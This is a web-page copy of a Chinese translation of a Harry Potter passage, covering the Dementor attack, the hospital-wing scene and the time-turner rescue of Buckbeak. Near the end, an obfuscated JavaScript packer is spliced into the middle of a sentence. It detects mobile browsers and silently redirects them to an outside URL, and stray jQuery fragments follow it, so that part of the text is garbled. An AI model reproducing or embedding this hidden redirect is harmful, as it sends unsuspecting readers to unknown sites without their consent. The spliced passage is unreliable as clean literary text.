“你疯了吗?”哈利说,声音一下子嘶哑了,和布莱克的一样。“我当然想要离开德思礼家!你有了房子吗?我什么时候能搬进去?” 布莱克转过身来看着他。斯内普的脑袋正擦着地道顶部,不过布莱克似乎并不在意。 “你愿意?”他同。“你是当真的?” “是,我是当真的!”哈利说。 布莱克瘦削的脸第一次露出了真正的笑容,哈利以前从没见他这样笑过。笑容所产生的不同效果是惊人的,好像有一个比他年轻十岁的人,透过那张饥饿面具对他面露喜色。有一会儿,人们又可以在他脸上认出,哈利双亲结婚时大笑的那个人了。 走到地道尽头以前,他们没再说过话。克鲁克山第一个往上冲。它显然把爪子压在了那棵树的节疤上了,因为卢平、小矮星彼得和罗恩向上耙时没有听到任何树枝发狂摇动的声音。 布莱克照顾着斯内普穿过那个洞,然后让在旁边,让哈利和赫敏通过。最后。他们大家都出来了。 现在地面上已经很黑了,唯一的光线来自远处城堡窗子里的灯。他们一句话没说就动身出发了。小矮星彼得仍然在大口喘气,有时还呜咽两声。 哈利脑子里嗡嗡作响。他要离开德思礼家了。他要和父母最好的朋友布莱克共同生活了...他觉得头晕...等他告诉德思礼家人说,他要和他们在电视上看到的通缉犯一起过日子,那时会发生什么事! “只要走错一步,彼得。”卢平在前面威胁着说,他的魔杖仍旧从侧面指着小矮星彼得的胸膛。 他们沉默地走过场地。城堡里透出来的灯光慢慢地亮了些。斯内普仍旧在布莱克前面古怪地飘浮着前进,他的下巴撞击着胸口。 然后...一朵云儿飘走了。地面上突然出现了模糊的影子。这群人沐浴在月光之中。卢平、小矮星彼得、罗恩等人突然停步,和斯内普撞在一起。布莱克僵住了。他伸出手臂,示意哈利和赫敏别再前进。哈利可以看到卢平的侧面剪影。他变得僵硬了。然后他的四肢开始发抖。 “哦,天哪——”赫敏喘息着,“他今晚没有服药!他不安全!” “快跑,”布莱克低声说。“快跑!马上!” 但是哈利不能跑:罗恩和小矮星彼得还有卢平铐在一起。 他往前跳,但是布莱克抓住他的胸部把他推了回去。“让我来处理——快跑!” 可怕的咆哮声,卢平的脑袋在拉长。他的躯体也一样。他的肩膀拱起来了。他脸上和手上冒出毛来,清晰可见,手在蜷曲成为爪子。克鲁克山的毛又竖起来了,它在后退...这狼人也在后退着,开合着它的长下巴。 小天狼星从哈利旁边消失了:他变形了。那熊一样巨大的狗向前跳去。狼人挣脱了束缚它的手铐,狗抓住狼人的脖子把它往后拉,让它离开罗恩和小矮星彼得。狼人和狗纠缠在一起,下巴对下巴,爪子彼此撕抓... 哈利站着,被这番景象吓得呆若木鸡。他一心一意地看着它们打斗,无暇注意其他。赫敏的尖叫惊醒了哈利:小矮星彼得已经去拿卢平丢掉的魔杖。罗恩由于那条有绷带的腿而站立不稳,摔倒了。 砰的一声,迸发出一道光线——罗恩一动不动躺在地上了。 又是砰的一声——克鲁克山飞到空中再跌到地上,成了一堆。 “除你武器!”哈利大叫,将他自己的魔杖指着小矮星彼得。卢平的魔杖高飞到空中不见了。 “待在那里不准动!”哈利大喊着向前跑去。太晚了。小矮星彼得变形了。哈利看见他的秃尾巴抽在罗恩伸出来的手臂上,听到草丛里一阵急跑。 一声嗥叫,又是一声咆哮,哈利转身看见狼人逃走了,它在往禁林里奔... “小天狼星,他跑了!小矮星彼得变形了!”哈利大叫。大狗在流血,它的口鼻部位和背部都有伤口,但是听见哈利的话它又爬起身来,转瞬之间它也跑了,爪子落地的声音很快就听不见了。哈利和赫敏向罗恩冲过去。 “他对他做了什么?”赫敏低声道。罗恩的眼睛只闭了一半,他的嘴张开着。 他肯定是活着的,他们可以听到他在呼吸,但他好像不认识他们了。 “我不知道。”哈利绝望地向四面看。布莱克和卢平都走了...和他们做伴的只有斯内普,斯内普还悬离地面,没有知觉。 “我们不如把他们弄到城堡里去,再告诉谁。”哈利说,一面把头发从眼睛面前拂开,努力把事情想清楚。“来吧—— ” 但就在这时,他们听见黑暗里传来一声吠叫、一声呜咽,一只狗负痛而吠... “小天狼星。”哈利喃喃地说,瞪眼向黑暗里看去。他有一会儿拿不定主意,不过目前他们没法为罗恩做任何事,从声音听起来,布莱克遇到麻烦了...哈利拔腿飞奔,赫敏紧跟在后。吠叫声好像是从湖那边传过来的。他们拼命往那边跑。 哈利竭尽全力跑着,感到冷,却没想一想感到冷意味着什么——嗥叫声突然停止了。他们跑到湖边才明白这是什么缘故——小天狼星又变成人了。他蹲着,双手举在头上。 “别别别,”他呻吟道,“别别别...请别...” 然后哈利看见它们了。摄魂怪,至少有一百个,黑黑的一团,在湖的周围向他们滑行过来。他飞快地转身,他所熟悉的那种冰冷的感觉渗透了他的五脏六腑,雾气开始模糊了他的视线,这帮家伙从四面八方的黑暗中更多地拥来:它们在包围... “赫敏,想想高兴的事情!”哈利大叫着举 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“呼——呼神护卫——”哈利感到膝盖碰到冷草了。雾气弄得他视线模糊。他尽力记起——小天狼星是无辜的——无辜的——我们会没事的——我要和他一起生活了—— “呼神护卫!”他喘着气。 凭借他发出的不成形的守护神的微光.他看见一个摄魂怪停下来了,就在离他很近的地方。它不能穿过哈利发出的银色迷雾。斗篷下面滑出一只细长的死人的手。这手做了个姿势,好像要拨开那守护神。 “不——不——”哈利喘气说,“他是无辜的——呼、呼神护卫——” 他能感到它们在观察他,听到它们格格的呼吸声,这种声音像有害的风一样在他周围吹着。离他最近的家伙好像在观察他,然后它举起两只腐烂的手——而且放下它的头巾。 在应该有眼睛的地方只有薄薄的结痂的灰色皮肤。单调地蒙在空眼眶上。 但它有嘴...一个没有形状的洞,以死前喉鸣的声音吸着空气。 哈利满心恐怖,人像是要瘫痪了一样,既不能动也不能说话。他的守护神闪动着熄灭了。 白色的雾使他看不见。他必须战斗...呼神护卫...他看不见...在远处,他听到那熟悉的尖叫声...呼神护卫... 他在迷雾中摸索着找小天狼星...找到了他的手臂...它们不能带走他... 但是一双强壮冷湿的手突然扼住哈利的脖子。它强迫他抬头...他能够感觉到它的呼吸...它要先把哈利解决掉...他能感受到,它腐臭的呼吸...他的妈妈在他耳朵里尖叫...她将是他最后听到的声音... 然后,雾气正在将他淹没,他想他看到一道银色的光,越来越亮...他觉得自己向前跌到草地上了...哈利脸向下,虚弱得不能动弹,浑身发抖,睁开了眼睛。炫目的光照亮了他周围的草坪... 尖叫声停止了,寒冷的感觉正在消逝...什么东西把那些家伙赶回去了...这东西把他和小天狼星还有赫敏包围起来了...那些家伙格格作响的吮吸声渐渐远去。它们在离开...空气又暖和起来了... 哈利集中全身力量,把头抬起来几英寸,看见光线中有一头动物,穿越湖面疾驰而去。哈利努力想看清那是什么,但汗水模糊了眼睛...它很明亮,像身体似马的独角兽。 哈利保持头脑清醒,看着它慢跑着到了对岸停下来。凭借它的明亮,哈利看见有人在欢迎它回去...那人抬起手,轻拍着它...那人看上去熟悉得奇怪...但那不可能是...哈利不理解。 他不能再想什么了。 他觉得最后一丝力气离开了他,他的脑袋撞在地上,他昏过去了。 59.赫敏的秘密 “令人震惊的事...令人震惊...他们谁都没死,真是奇迹...从来没听过这种事...真的。幸而当时你在那里,斯内普...” “谢谢你,部长。” “梅林爵士团勋章,二级,没问题。一级,要是我能设法争取的话!” “的确多谢你了,部长。” “你这伤口真糟...布莱克干的,是不是?” “说实在的,是波特、韦斯莱和格兰杰,部长...” “不!” “布莱克对他们施加了魔咒,我立刻就看穿了。从他们的行为判断,是一种迷魂乱心的魔咒。他们似乎认为布莱克有可能是无辜的,但他们不能为他们的行动负责。另外一方面,他们的干预也许让布莱克得以逃跑...他们显然认为他们会单枪匹马地抓住布莱克。在这以前,他们干了许多事没人管...我担心这让他们高看了自己...当然,校长一贯让波特享有特别大的特权...” “啊,好吧,斯内普...哈利·波特,你知道...在有关他的事情上,我们大家都存在着盲点。” “不过...给他那么多特殊待遇,这对他有好处吗?我个人是尽量像对待其他学生一样对待他的。带领朋友使他们遭遇危险,换作任何其他学生,都会受到暂时休学的处分的,至少是这个处分。考虑一下吧,部长,违反了学校的所有规定——在为了他的安全采取所有预防措施之后——太没边了,在夜里,和狼人还有杀人犯做伴...而且我有理由相信,他还曾经非法去过霍格莫德...” “好,好...我们会研究的,斯内普,我们会研究的...这孩子肯定是有点傻...” 哈利躺在那里,双眼紧闭,听着这一切。 他觉得昏头昏脑。他正在听到的话从他耳朵里进入了大脑,好像经历了极缓慢的旅程,因此难以听懂。他四肢像灌了铅一样,眼皮重得抬不起来...只想躺在那里,躺在那张舒服的床上,永远躺下去... “让我最惊讶的是那些摄魂怪的行为...你真的不知道是什么让它们撤退的吗,斯内普?” “不知道,部长。等我醒过来的时候,它们正在回到各个入口处的岗位上...” “真反常。但布莱克、哈利,还有那个女同学...” “我走到他们面前时,他们都失去了知觉。我自然把布莱克捆起来了,塞住他的嘴,召来了担架,把他们直接带回城堡。” 谈话停顿了一下。哈利的大脑好像动得快一点了,这时,他的胃里产生了一种啮咬的感觉...他睁开眼睛。 一切都是一片模糊——有人把他的眼镜拿走了。他是躺在黑暗的校医院里。他可以看见庞弗雷夫人在病房的一端,背对着他,俯身向着一张床。哈利眯起眼看。罗恩的红色头发在庞弗雷夫人的手臂下露了出来。 哈利在枕头上动了动脑袋。他右边的床上躺着赫敏,月光照在她的床上,她也睁着眼睛。她似乎吓坏了,看到哈利醒了,就放一个手指在嘴唇上,然后指指校医院那扇侧门,那扇门半开着,康奈利·福吉和斯内普的声音就是从外面走廊上,通过这扇门传过来的。 庞弗雷夫人现在从黑暗的病房的那一端轻快地向哈利走来。他翻过身来看着她。她拿着他平生从未见过的最大块的巧克力,那巧克力像是块圆形巨石。 “啊,你醒了!”她活泼地说,把那块巧克力放在哈利的床头柜上,开始用一把小锤子敲碎它。 “罗恩怎么样了?”哈利和赫敏同时问道。 “他会活下去的,”庞弗雷夫人忧郁地说,“至于你们两个...你们要待在这儿,待到我认为满意的时候——波特,你以为你在干吗?” 哈利坐起来,戴上眼镜,拿起魔杖。 “我必须见校长。”他说。 “波特,”庞弗雷夫人安慰他说,“没事。他们已经抓住布莱克了。他锁在楼上。现在随时摄魂怪都会给他那一吻...” “什么?” 哈利跳下了床,赫敏也一样。但他的喊声已经传到走廊里了,康奈利和斯内普马上就进了病房。 “哈利,哈利,怎么啦?”福吉说,很焦急的样子,“你应该躺在床上——他吃过巧克力了吗?”他着急地问庞弗雷夫人。 “部长,听着!”哈利说,“布莱克是无辜的!小矮星彼得伪造了自己的死亡!今晚我们看见他了!你不能让摄魂怪对布莱克做那件事,他是...” 但是福吉摇头,脸上略有点笑容。 “哈利,哈利,你脑子很乱,你刚刚经历过一场可怕的灾难。躺回去,现在。一切事情都已经就绪了...” “没有!”哈利大叫,“你们抓错人了!” “部长,请听我们说。”赫敏说,她已经赶着站到哈利身旁,正用探究的目光看着福吉的脸。“我也看见他了。那是罗恩的耗子,他是个阿尼马格斯,小矮星彼得,我意思是说,还有...” “看见了吗,部长?”斯内普说,“大脑一片混乱了,两个人都一样...布莱克在他们身上可是干了一件好活计...” “我们脑子不混乱!”哈利大吼。 “部长!教授!”庞弗雷夫人恼怒地说,“我必须坚持要你们离开。波特是我的病人,不应该让他苦恼!” “我不苦恼,我要告诉他们发生了什么事!”哈利狂怒地说,“要是他们能听我...” 但是庞弗雷夫人突然把一大块巧克力塞在哈利的嘴里。他噎住了,她抓住这机会强迫他回到了床上。 “好啦,部长,请吧,这些孩子需要照顾,请离开。”门又开了,进来的是邓布利多。 哈利拼命吞下那一大口巧克力,又站了起来。“邓布利多教授,布莱克...” “看在上帝的份上!”庞弗雷夫人歇斯底里地说,“这里到底是不是校医院?校长,我必须坚持...” “我道歉,波皮,不过我要和波特先生和格兰杰小姐说句话。”邓布利多镇静地说,“我刚刚和布莱克谈过。” “我想他告诉你的,就是他移植在波特脑子里的童话吧?”斯内普不屑地说,“说什么一只耗子啊,小矮星彼得还活着...” “不错,布莱克是这么说的。”邓布利多说着,透过他那副半圆形眼镜仔细打量着斯内普。 “那我的证据就不算数了吗?”斯内普咆哮着说,“小矮星彼得并不在尖叫棚屋里,在禁林里我也没有看见他的任何迹象。” “那是因为你昏过去了,教授!”赫敏真诚地说,“你来的时候没有听到...” “格兰杰小姐,住嘴!” “好吧。斯内普,”福吉吓了一跳说,“这位年轻的小姐不是头脑混乱嘛,我们必须对她宽容...” “我想与哈利和赫敏单独谈一谈,”邓布利多突然说,“康奈利、西弗勒斯、波皮——请离开我们。” “校长!”庞弗雷夫人气急败坏地说,“他们需要治疗,他们需要休息。” “这事不能等。”邓布利多说。我必须坚持。” 庞弗雷夫人噘起嘴,走到病房尽头、她的办公室里去了,在身后重重地关上门。 福吉看了看从他背心上挂下来的那只大金怀表。 “摄魂怪现在应该到了,”他说,“我要去迎接它们。邓布利多,回头在楼上见。” 他走到门边,开着门,等斯内普出来,但是斯内普并没有动。 “你肯定对布莱克讲的故事一个字也不相信,是不是?”斯内普低声问,眼睛盯着邓布利多的脸。 “我想单独与哈利还有赫敏谈谈。”邓布利多重复说。 斯内普向邓布利多走近了一步。 “小天狼星布莱克十六岁的时候,就表现出他有一个杀人犯的潜质,”他低声说,“你没有忘记这件事吧,校长?你没有忘记他曾经有一次想杀我?” “我的记忆力和以前一样好,西弗勒斯。”邓布利多平静地说。 斯内普转身走出福吉还在给他留的门。他们走后,门就关上了。 邓布利多转向哈利和赫敏。他们两人同时急急地说起话来。 “教授,布莱克说的是真话。我们看见小矮星彼得...” “——卢平教授变成狼人的时候他逃走了...” “——他是个耗子...” “——小矮星彼得的前爪,我意思是说,手指,他把手指割断了...” “——小矮星彼得攻击了罗恩,不是小天狼星...” 但是邓布利多举起手来,制止了这滔滔不绝的解释。 “现在该轮到你们听了,我请求你们不要打断我,因为时间很少了。”他平静地说,“没有任何证据能证明布莱克的故事,除了你们的话以外——而两个十三岁小巫师的话是说服不了任何人的。整整一条街的目击者发誓说,他们看见小天狼星布莱克杀了小矮星彼得。我自己向魔法部提供过证据,说小天狼星是波特夫妇的保密人。” “卢平教授可以告诉你...”哈利说,未能管住自己。 “目前卢平教授在禁林深处,不能告诉任何人任何事情。等到他又变成人,那就太晚了,小天狼星的命运要比死还糟。我也许可以加一句。在我们这些人中,多数是很不信任狼人的,所以他的说法不会有多大分量——何况他和小天狼星还是老朋友——” “但是——” “听我说,哈利。太晚了,你懂吗?你必须明白,斯内普教授所说的远比你们的有说服力。” “他恨小天狼星,”赫敏绝望地说,“全都是因为小天狼星拿他开过愚蠢的玩笑...” “小天狼星也没有像无辜的人那样行事。对胖夫人的袭击、带刀进入格兰芬多塔楼...没有小矮星彼得,不管是活的还是死的,我们就没有办法推翻对小天狼星的判决。” “但是你相信我们。” “对,我是相信你们。”邓布利多平静地说,“但是我没有权力,不能命令其他人看到真相,或者推翻魔法部长...” 哈利瞪眼看着那张严肃的脸。觉得脚下的地面好像分崩离析了。他已经习惯于这样的念头,那就是邓布利多能够解决任何问题。他曾经指望邓布利多能够凭空就拿出解决问题的办法来,但是没有..最后的希望破灭了。 “我们现在需要的,”邓布利多慢慢地说,他那浅蓝色眼睛从哈利看到赫敏,“是更多的时间。” “但是...”赫敏开始说。然后她的眼睛睁得滚圆。“哦!” “现在,注意了,”邓布利多说,声音很低,很清楚,“小天狼星被锁在八楼弗立维教授的房间里,从西塔数第十三个窗子就是。如果一切顺利,你们今晚可以拯救不止一条无辜的生命。但是记住这一点,你们两人都要记住。必须不让人看见。格兰杰小姐,你懂法律。你知道什么东西存危险...决——不能——让人——看见。” 哈利还没闹清事情在如何发展,邓布利多已经转过身去,走到门口的时候又回过头来。“我把你们锁在这里。现在是——”他看了看表,“差五分钟午夜十二点。格兰杰小姐,转三次就行了。祝你们好运。” “好运?”哈利重复道,这时邓布利多身后的门关上了。“转三次?他在说什么呀?我们应该干吗?” 但是赫敏在她袍子的领口那里摸索着,从袍子下面抽出一条很长很精细的金链子。 “哈利,这里来,”她急切地说,“快!” 哈利向她走过去,完全迷惑了。她把那条金链完全抽了出来。他看见金链子下面垂着一只小小的发亮的金计时器。 “这里——”她把金链也围到他的脖子上。“准备好了吗?”她气喘吁吁地问。 “我们要干吗?”哈利说,完全糊涂了。赫敏把计时器转了三次。 黑暗的病房不见了。哈里觉得自己在飞,飞得很快,向后飞。眼前掠过各种模糊的云彩和形状,耳朵里好像有东西在猛敲。他想大叫,但是听不见自己的声音...然后他觉得脚下触到坚实的土地了,所有东西又都聚焦了... 他站在赫敏身旁,站在没有人的前厅里,一道金色的阳光从打开的前门射到地板上。他急切地看着赫敏,计时器的链子勒着他的脖子。 “赫敏,什么——?” “这里来!”赫敏抓住哈利的手臂,拖着他走过前厅,走到一个放扫帚的橱门前。她打开橱门把他推进去,与水桶和抹布待在一起,自己也跟着进去了,然后关上身后的门。 “什么——怎么样——赫敏,发生什么事了?” “我们在时间上倒退了,”赫敏低声说,在黑暗中把哈利脖子上那根金链子取下来, “倒退了三个小时...”哈利摸到自己的腿,狠命拧了一把。真痛,这似乎说明他并不是在做稀奇古怪的梦。“但是——” “嘘!听着!有人来了!我想——我想可能是我们!”赫敏把耳朵贴在橱门上听。 “厅里有脚步声...对,我想那是我们去找海格了!” “你难道是在告诉我,”哈利耳语道,“但是我们在这个橱子里呀,我们怎么又在外面呢?” “是啊,”赫敏说,耳朵仍旧贴在橱门上,“我肯定那是我们...听起来只有三个人...我们走得很慢,因为我们顶着那件隐形衣——” 她不说了,仍旧专心地昕着。 “我们已经走下那石台阶了...” 赫敏坐在一个倒扣的水桶上,样子非常焦急,哈利有几个问题想得到回答。 “你从哪里得到这个计时器的?” “这叫做时间转换器,”赫敏低声说,“我们回来的第一天,我就从麦格教授那里得到了它。我整年都在用它,好赶上所有的课。麦格教授要我发誓不告诉任何人。她必须给魔法部写各种信,这样我才能有一个时间转换器。她必须告诉他们:我是模范学生,而且我将永远不把它用于学习以外的事...我一直在把它一小时一小时地转回去,这就是我能够同时上几门课的原因,明白吗?不过...” “哈利,我不懂邓布利多要我们做什么。他为什么告诉我们倒退三个小时?这样做对小天狼星有什么帮助吗?” 哈利瞪眼看着她那张幽暗中的脸。 “一定会发生什么,他要我们改变的事情,”他慢慢地说,“发生过什么事呢?三小时以前,我们走到海格那里去...” “这是三小时以前,我们正在走向海格那里,”赫敏说,“我们刚刚听到我们自已离开...” 哈利皱眉,他觉得自己好像在把整个大脑都集中起来想着。 “邓布利多刚才说——刚才说我们可能救下不止一条无辜的生命...” 然后他灵机一动。“赫敏,我们要看到巴克比克了!” “但是——这一点怎么能帮助小天狼星呢?” “邓布利多说——他刚才告诉我们那扇窗子在哪里——弗立维教授的办公室!他们已经把小天狼星锁在那里了!我们必须让巴克比克飞到那窗口去救小天狼星!小天狼星可以骑在巴克比克背上——他们可以一起逃走!” 哈利能够看到赫敏的脸,她给吓坏了。 “要是我们设法这样做而不被人看见,那就真是创造奇迹了!” “好吧,我们必须试一试,对不对?”哈利说。他站了起来,把自己的耳朵也贴到橱门上。 “听起来好像那里没有人...来吧,我们走...” 哈利推开橱门,前厅里没有人。他们尽量轻手轻脚,冲出那橱门,走下石台阶。 影子已经拉得很长了,禁林的树梢再次镀上了一层金色。 “要是有人往窗外看——”赫敏尖声说,抬头看身后的城堡。 “我们跑过去,”哈利坚决地说,“直奔那树林,好吗?我们必须躲在树或者什么东西后面,然后往外看。” “好的,不过我们要绕过那暖房!”赫敏气喘吁吁地说,“我们必须躲开海格的前门,要不然我们会看见我们的!现在我们一定已经走近海格的小屋了!” 哈利还在想着这话是什么意思,一面就一跳出发了,赫敏跟在他后面。 他们飞奔过菜园到了暖房,在那里停了一下,然后又出发了,尽快地绕过那棵打人柳,向着禁林里的阴影处飞奔...哈利到了树木的阴影里就回过头来,几秒之后,赫敏喘着气也到了。 “对,”她气喘吁吁地说,“我们需要偷偷地到海格那里。别让人看见,哈利...” 他们在树木之间默默地穿行,一直走在林子的边缘。然后,他们瞥见海格的小屋,听见一声敲门声。他们迅速地走到一棵树干粗大的橡树后面,从两边向外看。海格在门洞里出现了,浑身发抖,脸色苍白,他四处张望,找敲门的人。哈利听见了自己的声音。 “是我们。我们穿着隐形衣呢。让我们进去,我们就可以脱掉隐形衣了。” “你们不该来!”海格低声说。他让开,然后迅速关上了门。 “这是我们所做过的最古怪的事。”哈利热烈地说。 “让我们稍稍挪一下地方,”赫敏低声说,“我们必须更靠近巴克比克些!”他们在树木之间爬行,直到他们看见那头紧张不安的鹰头马身有翼兽为止,它被拴在海格南瓜地的篱笆上。 “现在?”哈利低声说。 “不!”赫敏说,“如果我们现在就偷走它,委员会的那些人就会认为是海格放了它!我们必须等到他们看见它是拴在外面以后!” “那我们大约有一分钟时间。”哈利说。这件事开始显得不可能起来。 这时,海格小屋里传来瓷器破裂的声音。 “那是海格打破牛奶罐了,”赫敏低声说,“我马上就要发现斑斑了...” 果然,几分钟以后,他们听到了赫敏惊讶的尖叫。 “赫敏,”哈利忽然说,“要是我们——我们就跑进去,抓住小矮星彼得...” “不!”赫敏吓坏了,低声说,“你不懂吗?我们在破坏魔法界最重要的法则之一!没有人应该改变时间,没有人!你听到邓布利多说了,要是我们被人看见——” “我们只会被我们自己和海格看见!” “哈利,如果你看见自己冲进海格的房子,你想你会有什么反应呢?”赫敏说。 “我会——我会以为自己发疯了,”哈利说,“要不然我会以为看见了什么黑魔法。” “不错!你不会理解,你甚至会攻击你自己!你不明白吗?麦格教授告诉过我,巫师们在时间方面搞混以后,曾经发生过什么样可怕的事情...他们之中有许多人误杀了过去的自己或未来的自己!” “好吧!”哈利说,“这只是个念头而已。我刚才想...” 但是赫敏用胳膊肘推了推他,还向城堡指了指。哈利把脑袋转了几英寸,以便看清远处的前门。 邓布利多、福吉、委员会的老委员和行刑手麦克尼尔正走下石阶。 “我们就要出来了!”赫敏低声说。 果然,不一会儿,海格的后门开了,哈利看见他自己、罗恩和赫敏跟着海格一起出来了。这无疑是他一生中最奇怪的感觉:站在树后面,又看见自己在南瓜地里。 “没事,比克,没事...”海格对巴克比克说。 然后他转而对哈利、罗恩和赫敏说话,“走吧。快走。” “海格,我们不能...” “我们要告诉他们实际情况。” “他们不能杀它!” “走!你们遇到麻烦的话,事情就更糟了!” 哈利看着赫敏在南瓜地里把隐形衣披在他和罗恩头上。“快走,别听...” 有人敲海格的前门。执行队已经到了。海格转身回到自己的小屋,后门没有关上。哈利看着小屋周围的草一片片地被压平,听到三双脚走远了。他、罗恩和赫敏走了...但是藏在树丛里的哈利和赫敏,现在能通过后门听到小屋里发生的事。 “那畜生哪里去了?”麦克尼尔冷酷的声音问道。 “外...外面。”海格哑声说。 海格的窗子里露出麦克尼尔的脸,他向外瞪着巴克比克,哈利把脑袋藏起来。然后他们听到福吉的声音。 “我们...哦...必须向你宣读官方关于执行死刑的通告,海格。我会读得很快。然后你和麦克尼尔要签名的。麦克尼尔,你也应该听着,这是程序。” 麦克尼尔的脸从窗口消失了。要么就是现在,要么就永远做不到了。 “在这里等着,”哈利对赫敏耳语道,“我来干。” 福吉的声音又响起来了,哈利飞快地从树后面冲出去,绕过篱笆进入南瓜地。走近巴克比克。处置危险生物委员会决定,鹰头马身有翼兽巴克比克,以下称为已被定罪者。应于六月六日日落时分处决... 哈利再次瞪视巴克比克那双凶猛的橘黄色眼睛,一面告诫自己不要眨眼,而且对它鞠躬。 巴克比克弯了弯有鳞片的膝头,又站直了。 哈利开始摸索着解开把巴克比克拴在篱笆上的绳子。 ...执行砍头,由委员会指定之行刑手,沃尔顿·麦克尼尔... “来吧,巴克比克,”哈利喃喃地说,“来吧,我们要帮助你。悄悄地...悄悄地...” ...以下作为见证人。海格,你在这里签名... 哈利把全身重量都用来拉绳子,但是巴克比克已经用前脚牢牢站住。 “好吧,让我们把这件事干完。”海格小屋里传来委员会成员那尖尖的声音。“海格,你就在屋内不要出来,这样也许好些...” “不,我...我要和它在一起...我不愿意它孤孤单单的...” 小屋里回响着脚步声。 “巴克比克,快走!”哈利嘶嘶地说。 哈利更使劲地拽巴克比克脖子上的那根绳子。怪兽开始走动了,还恼怒地拍着双翼。 他们离禁林还有十英尺,完全看得见海格小屋的后门。 “请等一下,麦克尼尔,”传来邓布利多的声音,“你也要签名。” 脚步声停了。 哈利用力拉绳子。巴克比克的喙啪的响了一声,走得快了些。赫敏那张苍白的脸从一棵树后面露了出来。 “哈利,快!”她含糊地说。 哈利还能听见邓布利多在小屋里说话的声音。他又把绳子使劲拽了一下,巴克比克不情愿地小跑起来。他们到达林子那里了。 “快!快!”赫敏呻吟着说,她从树后面飞快地冲出来,也抓住那根绳子,把她自己的体重也加了上去,让巴克比克走快些。 哈利回头一看,现在人们已经看不见他们了,他们根本看不到海格的小屋了。 “停!”他对赫敏小声说,“他们可能听到我们...” 海格的后门砰的一声开了。哈利、赫敏和巴克比克站在那里听着,就连这鹰头马身有翼兽似乎也在紧张地倾听。 寂静...然后—— “它到哪里去了?”这是委员会成员尖尖的声音,“那畜生哪里去了?” “本来是拴在这儿的!”那行刑手狂怒地说,“我刚才看见的!就在这儿!” “真奇怪。”邓布利多说,他声音里带着有趣的意思。一阵沙沙声,然后是挥动斧子的钝响。行刑手似乎把斧头砍进了篱笆以发泄愤怒。 然后传来一阵嚎叫,这次他们可以听到海格边抽泣边说的话。 “走了!走了!上帝保佑它,它走了!一定是自己挣脱了!比克,你多聪明啊!” 巴克比克开始要挣脱绳子,要回到海格那里去。哈利和赫敏更加用力抓住绳子,脚跟尽量站稳,以便止住巴克比克。 “有人解开绳子了!”那行刑手咆哮道,“我们应该搜寻场地,还有那林子...” “麦克尼尔,要是巴克比克的确被人偷走了,你真的以为贼会徒步带走它吗?”邓布利多说,听上去仍旧是感到有趣的声音。“搜寻天空吧,要是你愿意...海格。我想喝杯茶,要不来一大杯白兰地也行。” “当——当然,教授,”海格说,声音听起来快乐而虚弱,“进来,进来...” 哈利和赫敏仔细听着。他们听到了脚步声、行刑手低低的诅咒声。门啪的一响,然后一切再次归于静寂。 “现在怎么办?”哈利低语道,一面向四周看着。 “我们必须躲在这里,”赫敏说,她显得很受惊的样子,“我们需要等到他们回到城堡。然后,等到安全的时候再放巴克比克飞到小天狼星的那扇窗子里。他要再过两个小时才会在那里...哦,这会很难...” 她回头紧张不安地看着林子深处。现在太阳在下山。 “我们必须走了,”哈利苦苦思索着说,“我们必须能够看见那棵打人柳,要不然我们就不知道事情发展到了哪一步。” “好的,”赫敏说,把巴克比克的绳子抓得更紧了,“不过我们一定不能,哈利,要记住...” 他们沿着林子的边缘移动,暮色越来越浓,最后他们躲在一丛树后面,在那里可以看见那棵柳树。 “那是罗恩!”哈利突然说。一个黑色的身影跳到草坪上,大叫声在寂静的夜晚回响。 “放开它——放开——斑斑,到这里来!”然后他们看见又有两个人不知从什么地方冒了出来。哈利看见自己和赫敏在追罗恩。 然后他看见罗恩弯下身子。“可抓住你了!放开,你这只臭猫!” “那是小天狼星!”哈利说。那只狗的巨大身影从那棵柳树根部跳了出来。他们看见它把哈利冲倒在地,然后抓住罗恩... “从这里看甚至更糟,是不是?”哈利说,看着那只狗把罗恩拖到树底下。“哇——看,我刚刚被那棵树乱打了一阵——你也一样——这真古怪...” 打人柳正在吱吱嘎嘎地作响,用它的下部枝条抽打着。他们可以看见他们自己来来回回地到处乱冲,设法要走近树干。然后这棵树一动不动了。 “那是克鲁克山按了节疤。”赫敏说。 “我们往那儿走...”哈利说,“我们进去了。” 他们一消失,那棵树就又动起来。几秒钟以后,他们听见近处有脚步声。邓布利多、麦克尼尔、福吉和委员会的年老成员正向城堡走去。 “紧接在我们进入通道以后!”赫敏说,“要是邓布利多和我们一起来就好了...” “那麦克尼尔和福吉也会一起来的,”哈利痛苦地说,“我用任何东西和你打赌,福吉会要麦克尼尔当场杀掉小天狼星的...” 他们看着这四个人登上城堡的石阶,看不见了。 有几分钟时候,四周空无一人。然后—— “卢平来了!”哈利说,这时他们看见又有一个人影跳下石阶,向打人柳走来。哈利抬头看天,浮云把月亮完全遮住了。 他们看着卢平从地上捡起一根断枝,用它戳树干上的节疤。树静止了,卢平也消失在树根的洞里了。 “要是他拿了那件隐形衣就好了,”哈利说,“它就在那儿...” 他转向赫敏。 “要是我现在冲出去把隐形衣拿来,斯内普就永远得不到它了,而且...” “哈利,我们可不能让人看见!” “你怎么能忍得住呢?”他热切地问赫敏,“就站在这里看着事情发展?” 他踌躇了。“我去把隐形衣拿来!” “哈利,别!” 赫敏伸手抓哈利袍子的后背,一把没抓住。就在这时,他们听到一阵歌声。 那是海格,他正向着城堡走去,尽量大声地唱着,走路的时候身子有些摇晃。他两手捧着的大瓶子也在晃着。 “看见了吗?”赫敏耳语道,“看见会发生什么事了吧?我们决不能让人看见!别,巴克比克!” 那鹰头马身有翼兽疯狂挣扎着,要回到海格那里去。哈利也抓紧了绳子,努力把巴克比克拉回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525215|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他们看着海格歪歪倒倒地向城堡走去。 他走了,巴克比克也不挣扎着要走了。它的脑袋哀伤地垂了下来。 不到两分钟,城堡的门又开了,斯内普出了门,向打人柳跑过来。 他们看见斯内普在树旁收住了脚步,四面看了看,随后抓起了那件隐形衣。这时哈利的拳头捏起来了。 “你那肮脏的手别碰它。”哈利低声咆哮道。 “嘘!” 